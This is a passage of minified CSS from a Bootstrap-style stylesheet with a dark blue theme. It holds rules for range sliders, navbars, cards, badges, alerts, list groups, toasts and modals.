0}.custom-range{width:100%;height:1.4rem;padding:0;background-color:transparent;appearance:none}.custom-range:focus{outline:0}.custom-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff}.custom-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff}.custom-range:focus::-ms-thumb{box-shadow:0 0 0 1px #fff}.custom-range::-moz-focus-outer{border:0}.custom-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#001d68;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-webkit-slider-thumb{transition:none}}.custom-range::-webkit-slider-thumb:active{background-color:#1c5bff}.custom-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#001d68;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-moz-range-thumb{transition:none}}.custom-range::-moz-range-thumb:active{background-color:#1c5bff}.custom-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-ms-thumb{width:1rem;height:1rem;margin-top:0;margin-right:.2rem;margin-left:.2rem;background-color:#001d68;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-ms-thumb{transition:none}}.custom-range::-ms-thumb:active{background-color:#1c5bff}.custom-range::-ms-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:transparent;border-color:transparent;border-width:.5rem}.custom-range::-ms-fill-lower{background-color:#dee2e6;border-radius:1rem}.custom-range::-ms-fill-upper{margin-right:15px;background-color:#dee2e6;border-radius:1rem}.custom-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.custom-range:disabled::-webkit-slider-runnable-track{cursor:default}.custom-range:disabled::-moz-range-thumb{background-color:#adb5bd}.custom-range:disabled::-moz-range-track{cursor:default}.custom-range:disabled::-ms-thumb{background-color:#adb5bd}.custom-control-label::before,.custom-file-label,.custom-select{transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-control-label::before,.custom-file-label,.custom-select{transition:none}}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{color:#969696;pointer-events:none;cursor:default}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#f0f0f0 #f0f0f0 #dee2e6}.nav-tabs .nav-link.disabled{color:#969696;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#001d68}.nav-fill .nav-item{flex:1 1 auto;text-align:center}.nav-justified .nav-item{flex-basis:0;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between;padding:.5rem 1rem}.navbar .container,.navbar .container-fluid,.navbar .container-lg,.navbar .container-md,.navbar .container-sm,.navbar .container-xl{display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:flex;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid,.navbar-expand-sm>.container-lg,.navbar-expand-sm>.container-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid,.navbar-expand-sm>.container-lg,.navbar-expand-sm>.container-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid,.navbar-expand-md>.container-lg,.navbar-expand-md>.container-md,.navbar-expand-md>.container-sm,.navbar-expand-md>.container-xl{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-md .navbar-nav{flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid,.navbar-expand-md>.container-lg,.navbar-expand-md>.container-md,.navbar-expand-md>.container-sm,.navbar-expand-md>.container-xl{flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid,.navbar-expand-lg>.container-lg,.navbar-expand-lg>.container-md,.navbar-expand-lg>.container-sm,.navbar-expand-lg>.container-xl{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-lg .navbar-nav{flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid,.navbar-expand-lg>.container-lg,.navbar-expand-lg>.container-md,.navbar-expand-lg>.container-sm,.navbar-expand-lg>.container-xl{flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid,.navbar-expand-xl>.container-lg,.navbar-expand-xl>.container-md,.navbar-expand-xl>.container-sm,.navbar-expand-xl>.container-xl{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-xl .navbar-nav{flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid,.navbar-expand-xl>.container-lg,.navbar-expand-xl>.container-md,.navbar-expand-xl>.container-sm,.navbar-expand-xl>.container-xl{flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid,.navbar-expand>.container-lg,.navbar-expand>.container-md,.navbar-expand>.container-sm,.navbar-expand>.container-xl{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid,.navbar-expand>.container-lg,.navbar-expand>.container-md,.navbar-expand>.container-sm,.navbar-expand>.container-xl{flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.5)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.5);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.5%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-light .navbar-text{color:rgba(0,0,0,.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,.9)}.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.5)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.5);border-color:rgba(255,255,255,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.5%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-dark .navbar-text{color:rgba(255,255,255,.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,.125);border-radius:.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group{border-top:inherit;border-bottom:inherit}.card>.list-group:first-child{border-top-width:0;border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card>.list-group:last-child{border-bottom-width:0;border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-body{flex:1 1 auto;min-height:1px;padding:1.25rem}.card-title{margin-bottom:.75rem}.card-subtitle{margin-top:-.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,.03);border-bottom:1px solid rgba(0,0,0,.125)}.card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:.75rem 1.25rem;background-color:rgba(0,0,0,.03);border-top:1px solid rgba(0,0,0,.125)}.card-footer:last-child{border-radius:0 0 calc(.25rem - 1px) calc(.25rem - 1px)}.card-header-tabs{margin-right:-.625rem;margin-bottom:-.75rem;margin-left:-.625rem;border-bottom:0}.card-header-pills{margin-right:-.625rem;margin-left:-.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img,.card-img-bottom,.card-img-top{flex-shrink:0;width:100%}.card-img,.card-img-top{border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card-img,.card-img-bottom{border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-deck .card{margin-bottom:15px}@media (min-width:576px){.card-deck{display:flex;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{flex:1 0 0%;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group>.card{margin-bottom:15px}@media (min-width:576px){.card-group{display:flex;flex-flow:row wrap}.card-group>.card{flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.card-columns .card{margin-bottom:.75rem}@media (min-width:576px){.card-columns{column-count:3;column-gap:1.25rem;orphans:1;widows:1}.card-columns .card{display:inline-block;width:100%}}.accordion>.card{overflow:hidden}.accordion>.card:not(:last-of-type){border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.accordion>.card:not(:first-of-type){border-top-left-radius:0;border-top-right-radius:0}.accordion>.card>.card-header{border-radius:0;margin-bottom:-1px}.breadcrumb{display:flex;flex-wrap:wrap;padding:.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#f0f0f0;border-radius:.25rem}.breadcrumb-item{display:flex}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:.5rem;color:#969696;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#969696}.pagination{display:flex;padding-left:0;list-style:none;border-radius:.25rem}.page-link{position:relative;display:block;padding:.5rem .75rem;margin-left:-1px;line-height:1.25;color:#001d68;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{z-index:2;color:#00081c;text-decoration:none;background-color:#f0f0f0;border-color:#dee2e6}.page-link:focus{z-index:3;outline:0}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.page-item.active .page-link{z-index:3;color:#fff;background-color:#001d68;border-color:#001d68}.page-item.disabled .page-link{color:#969696;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.badge{transition:none}}a.badge:focus,a.badge:hover{text-decoration:none}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:.6em;padding-left:.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#001d68}a.badge-primary:focus,a.badge-primary:hover{color:#fff;background-color:#000f35}a.badge-primary.focus,a.badge-primary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,29,104,.5)}.badge-secondary{color:#fff;background-color:#001d68}a.badge-secondary:focus,a.badge-secondary:hover{color:#fff;background-color:#000f35}a.badge-secondary.focus,a.badge-secondary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,29,104,.5)}.badge-success{color:#fff;background-color:#393}a.badge-success:focus,a.badge-success:hover{color:#fff;background-color:#267326}a.badge-success.focus,a.badge-success:focus{outline:0;box-shadow:0 0 0 .2rem rgba(51,153,51,.5)}.badge-info{color:#fff;background-color:#969696}a.badge-info:focus,a.badge-info:hover{color:#fff;background-color:#7d7d7d}a.badge-info.focus,a.badge-info:focus{outline:0;box-shadow:0 0 0 .2rem rgba(150,150,150,.5)}.badge-warning{color:#fff;background-color:#ffc107}a.badge-warning:focus,a.badge-warning:hover{color:#fff;background-color:#d39e00}a.badge-warning.focus,a.badge-warning:focus{outline:0;box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.badge-danger{color:#fff;background-color:#d21034}a.badge-danger:focus,a.badge-danger:hover{color:#fff;background-color:#a30c28}a.badge-danger.focus,a.badge-danger:focus{outline:0;box-shadow:0 0 0 .2rem rgba(210,16,52,.5)}.badge-light{color:#fff;background-color:#f7f7f7}a.badge-light:focus,a.badge-light:hover{color:#fff;background-color:#dedede}a.badge-light.focus,a.badge-light:focus{outline:0;box-shadow:0 0 0 .2rem rgba(247,247,247,.5)}.badge-dark{color:#fff;background-color:#343a40}a.badge-dark:focus,a.badge-dark:hover{color:#fff;background-color:#1d2124}a.badge-dark.focus,a.badge-dark:focus{outline:0;box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#f0f0f0;border-radius:.3rem}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:.75rem 1.25rem;color:inherit}.alert-primary{color:#000f36;background-color:#ccd2e1;border-color:#b8c0d5}.alert-primary hr{border-top-color:#a8b2cc}.alert-primary .alert-link{color:#000103}.alert-secondary{color:#000f36;background-color:#ccd2e1;border-color:#b8c0d5}.alert-secondary hr{border-top-color:#a8b2cc}.alert-secondary .alert-link{color:#000103}.alert-success{color:#1b501b;background-color:#d6ebd6;border-color:#c6e2c6}.alert-success hr{border-top-color:#b5d9b5}.alert-success .alert-link{color:#0e2a0e}.alert-info{color:#4e4e4e;background-color:#eaeaea;border-color:#e2e2e2}.alert-info hr{border-top-color:#d5d5d5}.alert-info .alert-link{color:#353535}.alert-warning{color:#856404;background-color:#fff3cd;border-color:#ffeeba}.alert-warning hr{border-top-color:#ffe8a1}.alert-warning .alert-link{color:#533f03}.alert-danger{color:#6d081b;background-color:#f6cfd6;border-color:#f2bcc6}.alert-danger hr{border-top-color:#eea7b4}.alert-danger .alert-link{color:#3d050f}.alert-light{color:gray;background-color:#fdfdfd;border-color:#fdfdfd}.alert-light hr{border-top-color:#f0f0f0}.alert-light .alert-link{color:#676767}.alert-dark{color:#1b1e21;background-color:#d6d8d9;border-color:#c6c8ca}.alert-dark hr{border-top-color:#b9bbbe}.alert-dark .alert-link{color:#040505}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:flex;height:1rem;overflow:hidden;line-height:0;font-size:.75rem;background-color:#f0f0f0;border-radius:.25rem}.progress-bar{display:flex;flex-direction:column;justify-content:center;overflow:hidden;color:#fff;text-align:center;white-space:nowrap;background-color:#001d68;transition:width .6s ease}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:1rem 1rem}.progress-bar-animated{animation:progress-bar-stripes 1s linear infinite}@media (prefers-reduced-motion:reduce){.progress-bar-animated{animation:none}}.media{display:flex;align-items:flex-start}.media-body{flex:1}.list-group{display:flex;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:.25rem}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:#495057;text-decoration:none;background-color:#f7f7f7}.list-group-item-action:active{color:#001d68;background-color:#f0f0f0}.list-group-item{position:relative;display:block;padding:.75rem 1.25rem;background-color:#fff;border:1px solid rgba(0,0,0,.125)}.list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}.list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}.list-group-item.disabled,.list-group-item:disabled{color:#969696;pointer-events:none;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#001d68;border-color:#001d68}.list-group-item+.list-group-item{border-top-width:0}.list-group-item+.list-group-item.active{margin-top:-1px;border-top-width:1px}.list-group-horizontal{flex-direction:row}.list-group-horizontal>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal>.list-group-item.active{margin-top:0}.list-group-horizontal>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}@media (min-width:576px){.list-group-horizontal-sm{flex-direction:row}.list-group-horizontal-sm>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-sm>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-sm>.list-group-item.active{margin-top:0}.list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:768px){.list-group-horizontal-md{flex-direction:row}.list-group-horizontal-md>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-md>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-md>.list-group-item.active{margin-top:0}.list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:992px){.list-group-horizontal-lg{flex-direction:row}.list-group-horizontal-lg>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-lg>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-lg>.list-group-item.active{margin-top:0}.list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:1200px){.list-group-horizontal-xl{flex-direction:row}.list-group-horizontal-xl>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}.list-group-flush{border-radius:0}.list-group-flush>.list-group-item{border-width:0 0 1px}.list-group-flush>.list-group-item:last-child{border-bottom-width:0}.list-group-item-primary{color:#000f36;background-color:#b8c0d5}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#000f36;background-color:#a8b2cc}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#000f36;border-color:#000f36}.list-group-item-secondary{color:#000f36;background-color:#b8c0d5}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#000f36;background-color:#a8b2cc}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#000f36;border-color:#000f36}.list-group-item-success{color:#1b501b;background-color:#c6e2c6}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#1b501b;background-color:#b5d9b5}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#1b501b;border-color:#1b501b}.list-group-item-info{color:#4e4e4e;background-color:#e2e2e2}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#4e4e4e;background-color:#d5d5d5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#4e4e4e;border-color:#4e4e4e}.list-group-item-warning{color:#856404;background-color:#ffeeba}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#6d081b;background-color:#f2bcc6}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#6d081b;background-color:#eea7b4}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#6d081b;border-color:#6d081b}.list-group-item-light{color:gray;background-color:#fdfdfd}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:gray;background-color:#f0f0f0}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:gray;border-color:gray}.list-group-item-dark{color:#1b1e21;background-color:#c6c8ca}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#1b1e21;background-color:#b9bbbe}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#1b1e21;border-color:#1b1e21}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:hover{color:#000;text-decoration:none}.close:not(:disabled):not(.disabled):focus,.close:not(:disabled):not(.disabled):hover{opacity:.75}button.close{padding:0;background-color:transparent;border:0}a.close.disabled{pointer-events:none}.toast{max-width:350px;overflow:hidden;font-size:.875rem;background-color:rgba(255,255,255,.85);background-clip:padding-box;border:1px solid rgba(0,0,0,.1);box-shadow:0 .25rem .75rem rgba(0,0,0,.1);backdrop-filter:blur(10px);opacity:0;border-radius:.25rem}.toast:not(:last-child){margin-bottom:.75rem}.toast.showing{opacity:1}.toast.show{display:block;opacity:1}.toast.hide{display:none}.toast-header{display:flex;align-items:center;padding:.25rem .75rem;color:#969696;background-color:rgba(255,255,255,.85);background-clip:padding-box;border-bottom:1px solid rgba(0,0,0,.05)}.toast-body{padding:.75rem}.modal-open{overflow:hidden}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal{position:fixed;top:0;left:0;z-index:1050;display:none;width:100%;height:100%;overflow:hidden;outline:0}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:transform .3s ease-out;transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{transform:none}.modal.modal-static .modal-dialog{transform:scale(1.02)}.modal-dialog-scrollable{display:flex;max-height:calc(100% - 1rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 1rem);overflow:hidden}.modal-dialog-scrollable .modal-footer,.modal-dialog-scrollable .modal-header{flex-shrink:0}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:flex;align-items:center;min-height:calc(100% - 1rem)}.modal-dialog-centered::before{display:block;height:calc(100vh - 1rem);height:min-content;content:""}.modal-dialog-centered.modal-dialog-scrollable{flex-direction:column;justify-content:center;height:100%}.modal-dialog-centered.modal-dialog-scrollable .modal-content{max-height:none}.modal-dialog-centered.modal-dialog-scrollable::before{content:none}.modal-content{position:relative;display:flex;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:4px solid #001d68;border-radius:0;outline:0}.modal-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.5}.modal-header{display:flex;align-items:flex-start;justify-content:space-between;padding:1rem 1rem;border-bottom:1px solid #dee2e6;border-top-left-radius:0;border-top-right-radius:0}.modal-header .close{padding:1rem 1rem;margin:-1rem -1rem -1rem 